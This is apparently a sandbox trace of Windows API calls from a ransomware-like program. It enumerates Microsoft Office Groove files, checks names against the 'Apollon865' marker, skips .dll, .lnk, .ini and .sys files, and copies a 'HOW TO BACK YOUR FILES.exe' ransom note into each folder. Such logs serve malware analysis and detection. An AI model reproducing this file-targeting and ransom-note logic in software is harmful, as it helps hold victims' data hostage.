	[0070.831] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x424ad670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x424ad670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.831] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.831] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.832] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ADD.GIF" | out: lpString1="ADD.GIF") returned="ADD.GIF"
	[0070.832] lstrlenW (lpString="ADD.GIF") returned 7
	[0070.832] lstrlenW (lpString="Apollon865") returned 10
	[0070.832] lstrlenW (lpString=".dll") returned 4
	[0070.832] lstrcmpiW (lpString1="ADD.GIF", lpString2=".dll") returned 1
	[0070.832] lstrlenW (lpString=".lnk") returned 4
	[0070.832] lstrcmpiW (lpString1="ADD.GIF", lpString2=".lnk") returned 1
	[0070.832] lstrlenW (lpString=".ini") returned 4
	[0070.832] lstrcmpiW (lpString1="ADD.GIF", lpString2=".ini") returned 1
	[0070.832] lstrlenW (lpString=".sys") returned 4
	[0070.832] lstrcmpiW (lpString1="ADD.GIF", lpString2=".sys") returned 1
	[0070.832] lstrlenW (lpString="ADD.GIF") returned 7
	[0070.832] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="attention.gif" | out: lpString1="attention.gif") returned="attention.gif"
	[0070.832] lstrlenW (lpString="attention.gif") returned 13
	[0070.832] lstrlenW (lpString="Apollon865") returned 10
	[0070.832] lstrcmpiW (lpString1="ention.gif", lpString2="Apollon865") returned 1
	[0070.832] lstrlenW (lpString=".dll") returned 4
	[0070.832] lstrcmpiW (lpString1="attention.gif", lpString2=".dll") returned 1
	[0070.833] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CALENDAR.GIF" | out: lpString1="CALENDAR.GIF") returned="CALENDAR.GIF"
	[0070.833] lstrlenW (lpString="CALENDAR.GIF") returned 12
	[0070.833] lstrlenW (lpString="Apollon865") returned 10
	[0070.833] lstrcmpiW (lpString1="LENDAR.GIF", lpString2="Apollon865") returned 1
	[0070.833] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="DELETE.GIF" | out: lpString1="DELETE.GIF") returned="DELETE.GIF"
	[0070.833] lstrlenW (lpString="DELETE.GIF") returned 10
	[0070.833] lstrlenW (lpString="Apollon865") returned 10
	[0070.833] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ERROR.GIF" | out: lpString1="ERROR.GIF") returned="ERROR.GIF"
	[0070.833] lstrlenW (lpString="ERROR.GIF") returned 9
	[0070.833] lstrlenW (lpString="Apollon865") returned 10
	[0070.833] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FORM.JS" | out: lpString1="FORM.JS") returned="FORM.JS"
	[0070.833] lstrlenW (lpString="FORM.JS") returned 7
	[0070.833] lstrlenW (lpString="Apollon865") returned 10
	[0070.833] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsBlankPage.html" | out: lpString1="FormsBlankPage.html") returned="FormsBlankPage.html"
	[0070.833] lstrlenW (lpString="FormsBlankPage.html") returned 19
	[0070.833] lstrlenW (lpString="Apollon865") returned 10
	[0070.833] lstrcmpiW (lpString1="kPage.html", lpString2="Apollon865") returned 1
	[0070.833] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsBrowserUpgrade.html" | out: lpString1="FormsBrowserUpgrade.html") returned="FormsBrowserUpgrade.html"
	[0070.833] lstrlenW (lpString="FormsBrowserUpgrade.html") returned 24
	[0070.833] lstrlenW (lpString="Apollon865") returned 10
	[0070.833] lstrcmpiW (lpString1="grade.html", lpString2="Apollon865") returned 1
	[0070.833] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsColorChart.html" | out: lpString1="FormsColorChart.html") returned="FormsColorChart.html"
	[0070.833] lstrlenW (lpString="FormsColorChart.html") returned 20
	[0070.834] lstrlenW (lpString="Apollon865") returned 10
	[0070.834] lstrcmpiW (lpString1="Chart.html", lpString2="Apollon865") returned 1
	[0070.834] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsFormTemplate.html" | out: lpString1="FormsFormTemplate.html") returned="FormsFormTemplate.html"
	[0070.834] lstrlenW (lpString="FormsFormTemplate.html") returned 22
	[0070.834] lstrlenW (lpString="Apollon865") returned 10
	[0070.834] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.834] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsFormTemplateRTL.html" | out: lpString1="FormsFormTemplateRTL.html") returned="FormsFormTemplateRTL.html"
	[0070.834] lstrlenW (lpString="FormsFormTemplateRTL.html") returned 25
	[0070.834] lstrlenW (lpString="Apollon865") returned 10
	[0070.834] lstrcmpiW (lpString1="teRTL.html", lpString2="Apollon865") returned 1
	[0070.834] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsImageTemplate.html" | out: lpString1="FormsImageTemplate.html") returned="FormsImageTemplate.html"
	[0070.834] lstrlenW (lpString="FormsImageTemplate.html") returned 23
	[0070.834] lstrlenW (lpString="Apollon865") returned 10
	[0070.834] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.834] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsMacroTemplate.html" | out: lpString1="FormsMacroTemplate.html") returned="FormsMacroTemplate.html"
	[0070.834] lstrlenW (lpString="FormsMacroTemplate.html") returned 23
	[0070.834] lstrlenW (lpString="Apollon865") returned 10
	[0070.834] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.834] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsPreviewTemplate.html" | out: lpString1="FormsPreviewTemplate.html") returned="FormsPreviewTemplate.html"
	[0070.834] lstrlenW (lpString="FormsPreviewTemplate.html") returned 25
	[0070.834] lstrlenW (lpString="Apollon865") returned 10
	[0070.834] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.834] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsPreviewTemplateRTL.html" | out: lpString1="FormsPreviewTemplateRTL.html") returned="FormsPreviewTemplateRTL.html"
	[0070.835] lstrlenW (lpString="FormsPreviewTemplateRTL.html") returned 28
	[0070.835] lstrlenW (lpString="Apollon865") returned 10
	[0070.835] lstrcmpiW (lpString1="teRTL.html", lpString2="Apollon865") returned 1
	[0070.835] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsPrintTemplate.html" | out: lpString1="FormsPrintTemplate.html") returned="FormsPrintTemplate.html"
	[0070.835] lstrlenW (lpString="FormsPrintTemplate.html") returned 23
	[0070.835] lstrlenW (lpString="Apollon865") returned 10
	[0070.835] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.835] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsPrintTemplateRTL.html" | out: lpString1="FormsPrintTemplateRTL.html") returned="FormsPrintTemplateRTL.html"
	[0070.835] lstrlenW (lpString="FormsPrintTemplateRTL.html") returned 26
	[0070.835] lstrlenW (lpString="Apollon865") returned 10
	[0070.835] lstrcmpiW (lpString1="teRTL.html", lpString2="Apollon865") returned 1
	[0070.835] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsViewAttachmentIcons.jpg" | out: lpString1="FormsViewAttachmentIcons.jpg") returned="FormsViewAttachmentIcons.jpg"
	[0070.835] lstrlenW (lpString="FormsViewAttachmentIcons.jpg") returned 28
	[0070.835] lstrlenW (lpString="Apollon865") returned 10
	[0070.835] lstrcmpiW (lpString1="tIcons.jpg", lpString2="Apollon865") returned 1
	[0070.835] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsViewAttachmentIconsMask.bmp" | out: lpString1="FormsViewAttachmentIconsMask.bmp") returned="FormsViewAttachmentIconsMask.bmp"
	[0070.835] lstrlenW (lpString="FormsViewAttachmentIconsMask.bmp") returned 32
	[0070.835] lstrlenW (lpString="Apollon865") returned 10
	[0070.835] lstrcmpiW (lpString1="nsMask.bmp", lpString2="Apollon865") returned 1
	[0070.835] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="form_edit.js" | out: lpString1="form_edit.js") returned="form_edit.js"
	[0070.835] lstrlenW (lpString="form_edit.js") returned 12
	[0070.835] lstrlenW (lpString="Apollon865") returned 10
	[0070.835] lstrcmpiW (lpString1="rm_edit.js", lpString2="Apollon865") returned 1
	[0070.836] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="InfoPathWelcomeImage.jpg" | out: lpString1="InfoPathWelcomeImage.jpg") returned="InfoPathWelcomeImage.jpg"
	[0070.836] lstrlenW (lpString="InfoPathWelcomeImage.jpg") returned 24
	[0070.836] lstrlenW (lpString="Apollon865") returned 10
	[0070.836] lstrcmpiW (lpString1="eImage.jpg", lpString2="Apollon865") returned 1
	[0070.836] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="LAUNCH.GIF" | out: lpString1="LAUNCH.GIF") returned="LAUNCH.GIF"
	[0070.836] lstrlenW (lpString="LAUNCH.GIF") returned 10
	[0070.836] lstrlenW (lpString="Apollon865") returned 10
	[0070.836] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="macroprogress.gif" | out: lpString1="macroprogress.gif") returned="macroprogress.gif"
	[0070.836] lstrlenW (lpString="macroprogress.gif") returned 17
	[0070.836] lstrlenW (lpString="Apollon865") returned 10
	[0070.836] lstrcmpiW (lpString1="ogress.gif", lpString2="Apollon865") returned 1
	[0070.836] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="PublicFunctions.js" | out: lpString1="PublicFunctions.js") returned="PublicFunctions.js"
	[0070.836] lstrlenW (lpString="PublicFunctions.js") returned 18
	[0070.836] lstrlenW (lpString="Apollon865") returned 10
	[0070.836] lstrcmpiW (lpString1="nctions.js", lpString2="Apollon865") returned 1
	[0070.836] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_alignleft.gif" | out: lpString1="rtf_alignleft.gif") returned="rtf_alignleft.gif"
	[0070.836] lstrlenW (lpString="rtf_alignleft.gif") returned 17
	[0070.836] lstrlenW (lpString="Apollon865") returned 10
	[0070.836] lstrcmpiW (lpString1="gnleft.gif", lpString2="Apollon865") returned 1
	[0070.836] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_alignright.gif" | out: lpString1="rtf_alignright.gif") returned="rtf_alignright.gif"
	[0070.836] lstrlenW (lpString="rtf_alignright.gif") returned 18
	[0070.836] lstrlenW (lpString="Apollon865") returned 10
	[0070.836] lstrcmpiW (lpString1="nright.gif", lpString2="Apollon865") returned 1
	[0070.837] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_bullets.gif" | out: lpString1="rtf_bullets.gif") returned="rtf_bullets.gif"
	[0070.837] lstrlenW (lpString="rtf_bullets.gif") returned 15
	[0070.837] lstrlenW (lpString="Apollon865") returned 10
	[0070.837] lstrcmpiW (lpString1="ullets.gif", lpString2="Apollon865") returned 1
	[0070.837] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_center.gif" | out: lpString1="rtf_center.gif") returned="rtf_center.gif"
	[0070.837] lstrlenW (lpString="rtf_center.gif") returned 14
	[0070.837] lstrlenW (lpString="Apollon865") returned 10
	[0070.837] lstrcmpiW (lpString1="center.gif", lpString2="Apollon865") returned 1
	[0070.837] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_choosecolor.gif" | out: lpString1="rtf_choosecolor.gif") returned="rtf_choosecolor.gif"
	[0070.837] lstrlenW (lpString="rtf_choosecolor.gif") returned 19
	[0070.837] lstrlenW (lpString="Apollon865") returned 10
	[0070.837] lstrcmpiW (lpString1="ecolor.gif", lpString2="Apollon865") returned 1
	[0070.837] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_decreaseindent.gif" | out: lpString1="rtf_decreaseindent.gif") returned="rtf_decreaseindent.gif"
	[0070.837] lstrlenW (lpString="rtf_decreaseindent.gif") returned 22
	[0070.837] lstrlenW (lpString="Apollon865") returned 10
	[0070.837] lstrcmpiW (lpString1="indent.gif", lpString2="Apollon865") returned 1
	[0070.837] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_hyperlink.gif" | out: lpString1="rtf_hyperlink.gif") returned="rtf_hyperlink.gif"
	[0070.837] lstrlenW (lpString="rtf_hyperlink.gif") returned 17
	[0070.837] lstrlenW (lpString="Apollon865") returned 10
	[0070.837] lstrcmpiW (lpString1="erlink.gif", lpString2="Apollon865") returned 1
	[0070.837] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_increaseindent.gif" | out: lpString1="rtf_increaseindent.gif") returned="rtf_increaseindent.gif"
	[0070.837] lstrlenW (lpString="rtf_increaseindent.gif") returned 22
	[0070.837] lstrlenW (lpString="Apollon865") returned 10
	[0070.837] lstrcmpiW (lpString1="indent.gif", lpString2="Apollon865") returned 1
	[0070.838] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_justify.gif" | out: lpString1="rtf_justify.gif") returned="rtf_justify.gif"
	[0070.838] lstrlenW (lpString="rtf_justify.gif") returned 15
	[0070.838] lstrlenW (lpString="Apollon865") returned 10
	[0070.838] lstrcmpiW (lpString1="ustify.gif", lpString2="Apollon865") returned 1
	[0070.838] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_pressed.gif" | out: lpString1="rtf_pressed.gif") returned="rtf_pressed.gif"
	[0070.838] lstrlenW (lpString="rtf_pressed.gif") returned 15
	[0070.838] lstrlenW (lpString="Apollon865") returned 10
	[0070.838] lstrcmpiW (lpString1="ressed.gif", lpString2="Apollon865") returned 1
	[0070.838] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="SAVE.GIF" | out: lpString1="SAVE.GIF") returned="SAVE.GIF"
	[0070.838] lstrlenW (lpString="SAVE.GIF") returned 8
	[0070.838] lstrlenW (lpString="Apollon865") returned 10
	[0070.838] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="SUBMIT.JS" | out: lpString1="SUBMIT.JS") returned="SUBMIT.JS"
	[0070.838] lstrlenW (lpString="SUBMIT.JS") returned 9
	[0070.838] lstrlenW (lpString="Apollon865") returned 10
	[0070.838] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="utilityfunctions.js" | out: lpString1="utilityfunctions.js") returned="utilityfunctions.js"
	[0070.838] lstrlenW (lpString="utilityfunctions.js") returned 19
	[0070.838] lstrlenW (lpString="Apollon865") returned 10
	[0070.838] lstrcmpiW (lpString1="nctions.js", lpString2="Apollon865") returned 1
	[0070.838] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="validation.js" | out: lpString1="validation.js") returned="validation.js"
	[0070.838] lstrlenW (lpString="validation.js") returned 13
	[0070.838] lstrlenW (lpString="Apollon865") returned 10
	[0070.838] lstrcmpiW (lpString1="idation.js", lpString2="Apollon865") returned 1
	[0070.839] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4"
	[0070.839] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3720 | out: hHeap=0x580000) returned 1
	[0070.839] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0070.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4") returned 82
	[0070.839] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4"
	[0070.839] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.839] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.845] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x424d37d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x424d37d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.845] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.845] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.846] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ADD.GIF" | out: lpString1="ADD.GIF") returned="ADD.GIF"
	[0070.846] lstrlenW (lpString="ADD.GIF") returned 7
	[0070.846] lstrlenW (lpString="Apollon865") returned 10
	[0070.846] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="AddToViewArrow.jpg" | out: lpString1="AddToViewArrow.jpg") returned="AddToViewArrow.jpg"
	[0070.846] lstrlenW (lpString="AddToViewArrow.jpg") returned 18
	[0070.846] lstrlenW (lpString="Apollon865") returned 10
	[0070.846] lstrcmpiW (lpString1="wArrow.jpg", lpString2="Apollon865") returned 1
	[0070.847] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="AddToViewArrowMask.bmp" | out: lpString1="AddToViewArrowMask.bmp") returned="AddToViewArrowMask.bmp"
	[0070.847] lstrlenW (lpString="AddToViewArrowMask.bmp") returned 22
	[0070.847] lstrlenW (lpString="Apollon865") returned 10
	[0070.847] lstrcmpiW (lpString1="owMask.bmp", lpString2="Apollon865") returned 1
	[0070.847] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="attention.gif" | out: lpString1="attention.gif") returned="attention.gif"
	[0070.847] lstrlenW (lpString="attention.gif") returned 13
	[0070.847] lstrlenW (lpString="Apollon865") returned 10
	[0070.847] lstrcmpiW (lpString1="ention.gif", lpString2="Apollon865") returned 1
	[0070.847] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="BG_ADOBE.GIF" | out: lpString1="BG_ADOBE.GIF") returned="BG_ADOBE.GIF"
	[0070.847] lstrlenW (lpString="BG_ADOBE.GIF") returned 12
	[0070.847] lstrlenW (lpString="Apollon865") returned 10
	[0070.847] lstrcmpiW (lpString1="_ADOBE.GIF", lpString2="Apollon865") returned -1
	[0070.847] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_Casual.gif" | out: lpString1="bg_Casual.gif") returned="bg_Casual.gif"
	[0070.847] lstrlenW (lpString="bg_Casual.gif") returned 13
	[0070.847] lstrlenW (lpString="Apollon865") returned 10
	[0070.847] lstrcmpiW (lpString1="Casual.gif", lpString2="Apollon865") returned 1
	[0070.847] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_Country.gif" | out: lpString1="bg_Country.gif") returned="bg_Country.gif"
	[0070.847] lstrlenW (lpString="bg_Country.gif") returned 14
	[0070.847] lstrlenW (lpString="Apollon865") returned 10
	[0070.847] lstrcmpiW (lpString1="ountry.gif", lpString2="Apollon865") returned 1
	[0070.847] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_Earthy.gif" | out: lpString1="bg_Earthy.gif") returned="bg_Earthy.gif"
	[0070.847] lstrlenW (lpString="bg_Earthy.gif") returned 13
	[0070.847] lstrlenW (lpString="Apollon865") returned 10
	[0070.848] lstrcmpiW (lpString1="Earthy.gif", lpString2="Apollon865") returned 1
	[0070.848] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_FormsHomePage.gif" | out: lpString1="bg_FormsHomePage.gif") returned="bg_FormsHomePage.gif"
	[0070.848] lstrlenW (lpString="bg_FormsHomePage.gif") returned 20
	[0070.848] lstrlenW (lpString="Apollon865") returned 10
	[0070.848] lstrcmpiW (lpString1="mePage.gif", lpString2="Apollon865") returned 1
	[0070.848] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_FormsHomePageBlank.gif" | out: lpString1="bg_FormsHomePageBlank.gif") returned="bg_FormsHomePageBlank.gif"
	[0070.848] lstrlenW (lpString="bg_FormsHomePageBlank.gif") returned 25
	[0070.848] lstrlenW (lpString="Apollon865") returned 10
	[0070.848] lstrcmpiW (lpString1="eBlank.gif", lpString2="Apollon865") returned 1
	[0070.848] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_FormsHomePageSlice.gif" | out: lpString1="bg_FormsHomePageSlice.gif") returned="bg_FormsHomePageSlice.gif"
	[0070.848] lstrlenW (lpString="bg_FormsHomePageSlice.gif") returned 25
	[0070.848] lstrlenW (lpString="Apollon865") returned 10
	[0070.848] lstrcmpiW (lpString1="eSlice.gif", lpString2="Apollon865") returned 1
	[0070.848] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_GreenTea.gif" | out: lpString1="bg_GreenTea.gif") returned="bg_GreenTea.gif"
	[0070.848] lstrlenW (lpString="bg_GreenTea.gif") returned 15
	[0070.848] lstrlenW (lpString="Apollon865") returned 10
	[0070.848] lstrcmpiW (lpString1="eenTea.gif", lpString2="Apollon865") returned 1
	[0070.848] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_Groove.gif" | out: lpString1="bg_Groove.gif") returned="bg_Groove.gif"
	[0070.848] lstrlenW (lpString="bg_Groove.gif") returned 13
	[0070.848] lstrlenW (lpString="Apollon865") returned 10
	[0070.848] lstrcmpiW (lpString1="Groove.gif", lpString2="Apollon865") returned 1
	[0070.848] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_LightSpirit.gif" | out: lpString1="bg_LightSpirit.gif") returned="bg_LightSpirit.gif"
	[0070.848] lstrlenW (lpString="bg_LightSpirit.gif") returned 18
	[0070.849] lstrlenW (lpString="Apollon865") returned 10
	[0070.849] lstrcmpiW (lpString1="Spirit.gif", lpString2="Apollon865") returned 1
	[0070.849] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_OliveGreen.gif" | out: lpString1="bg_OliveGreen.gif") returned="bg_OliveGreen.gif"
	[0070.849] lstrlenW (lpString="bg_OliveGreen.gif") returned 17
	[0070.849] lstrlenW (lpString="Apollon865") returned 10
	[0070.849] lstrcmpiW (lpString1="eGreen.gif", lpString2="Apollon865") returned 1
	[0070.849] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_Premium.gif" | out: lpString1="bg_Premium.gif") returned="bg_Premium.gif"
	[0070.849] lstrlenW (lpString="bg_Premium.gif") returned 14
	[0070.849] lstrlenW (lpString="Apollon865") returned 10
	[0070.849] lstrcmpiW (lpString1="remium.gif", lpString2="Apollon865") returned 1
	[0070.849] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_SlateBlue.gif" | out: lpString1="bg_SlateBlue.gif") returned="bg_SlateBlue.gif"
	[0070.849] lstrlenW (lpString="bg_SlateBlue.gif") returned 16
	[0070.849] lstrlenW (lpString="Apollon865") returned 10
	[0070.849] lstrcmpiW (lpString1="teBlue.gif", lpString2="Apollon865") returned 1
	[0070.849] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_TexturedBlue.gif" | out: lpString1="bg_TexturedBlue.gif") returned="bg_TexturedBlue.gif"
	[0070.849] lstrlenW (lpString="bg_TexturedBlue.gif") returned 19
	[0070.849] lstrlenW (lpString="Apollon865") returned 10
	[0070.849] lstrcmpiW (lpString1="edBlue.gif", lpString2="Apollon865") returned 1
	[0070.849] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="bg_VelvetRose.gif" | out: lpString1="bg_VelvetRose.gif") returned="bg_VelvetRose.gif"
	[0070.849] lstrlenW (lpString="bg_VelvetRose.gif") returned 17
	[0070.849] lstrlenW (lpString="Apollon865") returned 10
	[0070.849] lstrcmpiW (lpString1="etRose.gif", lpString2="Apollon865") returned 1
	[0070.850] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="button_left.gif" | out: lpString1="button_left.gif") returned="button_left.gif"
	[0070.850] lstrlenW (lpString="button_left.gif") returned 15
	[0070.850] lstrlenW (lpString="Apollon865") returned 10
	[0070.850] lstrcmpiW (lpString1="n_left.gif", lpString2="Apollon865") returned 1
	[0070.850] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="button_left_over.gif" | out: lpString1="button_left_over.gif") returned="button_left_over.gif"
	[0070.850] lstrlenW (lpString="button_left_over.gif") returned 20
	[0070.850] lstrlenW (lpString="Apollon865") returned 10
	[0070.850] lstrcmpiW (lpString1="t_over.gif", lpString2="Apollon865") returned 1
	[0070.850] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="button_mid.gif" | out: lpString1="button_mid.gif") returned="button_mid.gif"
	[0070.850] lstrlenW (lpString="button_mid.gif") returned 14
	[0070.850] lstrlenW (lpString="Apollon865") returned 10
	[0070.850] lstrcmpiW (lpString1="on_mid.gif", lpString2="Apollon865") returned 1
	[0070.850] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="button_mid_over.gif" | out: lpString1="button_mid_over.gif") returned="button_mid_over.gif"
	[0070.850] lstrlenW (lpString="button_mid_over.gif") returned 19
	[0070.850] lstrlenW (lpString="Apollon865") returned 10
	[0070.850] lstrcmpiW (lpString1="d_over.gif", lpString2="Apollon865") returned 1
	[0070.850] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="button_right.gif" | out: lpString1="button_right.gif") returned="button_right.gif"
	[0070.850] lstrlenW (lpString="button_right.gif") returned 16
	[0070.850] lstrlenW (lpString="Apollon865") returned 10
	[0070.850] lstrcmpiW (lpString1="_right.gif", lpString2="Apollon865") returned -1
	[0070.850] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="button_right_over.gif" | out: lpString1="button_right_over.gif") returned="button_right_over.gif"
	[0070.850] lstrlenW (lpString="button_right_over.gif") returned 21
	[0070.850] lstrlenW (lpString="Apollon865") returned 10
	[0070.851] lstrcmpiW (lpString1="t_over.gif", lpString2="Apollon865") returned 1
	[0070.851] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CALENDAR.GIF" | out: lpString1="CALENDAR.GIF") returned="CALENDAR.GIF"
	[0070.851] lstrlenW (lpString="CALENDAR.GIF") returned 12
	[0070.851] lstrlenW (lpString="Apollon865") returned 10
	[0070.851] lstrcmpiW (lpString1="LENDAR.GIF", lpString2="Apollon865") returned 1
	[0070.851] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="DELETE.GIF" | out: lpString1="DELETE.GIF") returned="DELETE.GIF"
	[0070.851] lstrlenW (lpString="DELETE.GIF") returned 10
	[0070.851] lstrlenW (lpString="Apollon865") returned 10
	[0070.851] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ERROR.GIF" | out: lpString1="ERROR.GIF") returned="ERROR.GIF"
	[0070.851] lstrlenW (lpString="ERROR.GIF") returned 9
	[0070.851] lstrlenW (lpString="Apollon865") returned 10
	[0070.851] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FORM.ICO" | out: lpString1="FORM.ICO") returned="FORM.ICO"
	[0070.851] lstrlenW (lpString="FORM.ICO") returned 8
	[0070.851] lstrlenW (lpString="Apollon865") returned 10
	[0070.851] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FORM.JS" | out: lpString1="FORM.JS") returned="FORM.JS"
	[0070.851] lstrlenW (lpString="FORM.JS") returned 7
	[0070.851] lstrlenW (lpString="Apollon865") returned 10
	[0070.851] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsBlankPage.html" | out: lpString1="FormsBlankPage.html") returned="FormsBlankPage.html"
	[0070.851] lstrlenW (lpString="FormsBlankPage.html") returned 19
	[0070.851] lstrlenW (lpString="Apollon865") returned 10
	[0070.851] lstrcmpiW (lpString1="kPage.html", lpString2="Apollon865") returned 1
	[0070.852] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsBrowserUpgrade.html" | out: lpString1="FormsBrowserUpgrade.html") returned="FormsBrowserUpgrade.html"
	[0070.852] lstrlenW (lpString="FormsBrowserUpgrade.html") returned 24
